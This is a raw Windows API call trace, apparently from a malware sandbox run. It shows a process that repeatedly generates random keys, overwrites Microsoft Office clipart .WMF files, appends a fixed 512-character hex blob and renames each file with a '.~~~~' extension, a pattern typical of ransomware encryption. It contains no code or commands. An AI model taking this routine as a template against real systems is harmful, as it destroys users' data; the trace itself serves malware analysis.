	[0096.328] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.329] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.329] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.329] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.329] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.329] CloseHandle (hObject=0x12c) returned 1
	[0096.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.329] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0103262.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0103262.wmf.~~~~")) returned 1
	[0096.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.330] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.330] GetLastError () returned 0x0
	[0096.331] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.332] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.332] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.332] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21632193232) returned 1
	[0096.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa32132f0, dwHighDateTime=0x1d60e1e)) 
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840180
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840180 | out: hHeap=0x300000) returned 1
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.332] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842128
	[0096.332] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.332] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.333] GetLastError () returned 0x0
	[0096.333] GetLastError () returned 0x0
	[0096.333] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.333] GetLastError () returned 0x0
	[0096.333] GetLastError () returned 0x0
	[0096.619] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffebcc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.619] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x1434, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x1434, lpOverlapped=0x0) returned 1
	[0096.620] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.620] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.620] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.620] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.620] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.620] CloseHandle (hObject=0x12c) returned 1
	[0096.620] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.620] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105230.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105230.wmf.~~~~")) returned 1
	[0096.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.621] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.621] GetLastError () returned 0x0
	[0096.622] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.623] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.623] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.623] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.623] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21661325121) returned 1
	[0096.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa34e6d10, dwHighDateTime=0x1d60e1e)) 
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.623] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840420
	[0096.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840420 | out: hHeap=0x300000) returned 1
	[0096.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.624] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842388
	[0096.624] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.624] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.624] GetLastError () returned 0x0
	[0096.625] GetLastError () returned 0x0
	[0096.625] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.625] GetLastError () returned 0x0
	[0096.625] GetLastError () returned 0x0
	[0096.676] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0xffffed44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.677] WriteFile (in: hFile=0x12c, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x12bc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x12bc, lpOverlapped=0x0) returned 1
	[0096.678] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0096.678] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.678] WriteFile (in: hFile=0x12c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.679] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.679] WriteFile (in: hFile=0x12c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.679] CloseHandle (hObject=0x12c) returned 1
	[0096.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dabe8
	[0096.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.~~~~")) returned 1
	[0096.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dabe8 | out: hHeap=0x300000) returned 1
	[0096.838] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.838] GetLastError () returned 0x0
	[0096.838] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.839] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0096.839] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.839] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0096.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.839] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.840] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21682965368) returned 1
	[0096.840] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa36fc050, dwHighDateTime=0x1d60e1e)) 
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28404c8
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28404c8 | out: hHeap=0x300000) returned 1
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dabe8
	[0096.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.840] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842aa8
	[0096.840] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dabe8 | out: hHeap=0x300000) returned 1
	[0096.840] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.840] GetLastError () returned 0x0
	[0096.840] GetLastError () returned 0x0
	[0096.840] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.841] GetLastError () returned 0x0
	[0096.841] GetLastError () returned 0x0
	[0096.897] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc5ec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.897] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x3a14, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x3a14, lpOverlapped=0x0) returned 1
	[0096.897] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.897] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.897] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.897] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.898] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.898] CloseHandle (hObject=0x144) returned 1
	[0096.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.898] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105292.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105292.wmf.~~~~")) returned 1
	[0096.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.899] GetLastError () returned 0x0
	[0096.905] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.906] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.906] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.906] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21689610653) returned 1
	[0096.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa37945d0, dwHighDateTime=0x1d60e1e)) 
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28405e0
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28405e0 | out: hHeap=0x300000) returned 1
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.906] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842d08
	[0096.906] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.907] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.907] GetLastError () returned 0x0
	[0096.907] GetLastError () returned 0x0
	[0096.907] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.907] GetLastError () returned 0x0
	[0096.907] GetLastError () returned 0x0
	[0096.914] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff81c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0096.914] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7e4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x7e4, lpOverlapped=0x0) returned 1
	[0096.914] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0096.914] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0096.914] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0096.914] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0096.915] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0096.915] CloseHandle (hObject=0x144) returned 1
	[0096.915] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0096.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105320.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105320.wmf.~~~~")) returned 1
	[0096.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.916] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0096.916] GetLastError () returned 0x0
	[0096.917] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0096.917] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0096.917] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0096.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0096.918] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21690777811) returned 1
	[0096.918] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa37ba730, dwHighDateTime=0x1d60e1e)) 
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840650
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0096.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840650 | out: hHeap=0x300000) returned 1
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0096.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0096.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0096.918] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2842ed0
	[0096.918] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0096.918] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0096.919] GetLastError () returned 0x0
	[0096.919] GetLastError () returned 0x0
	[0096.919] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0096.919] GetLastError () returned 0x0
	[0096.919] GetLastError () returned 0x0
	[0097.067] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xfffff4ac, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
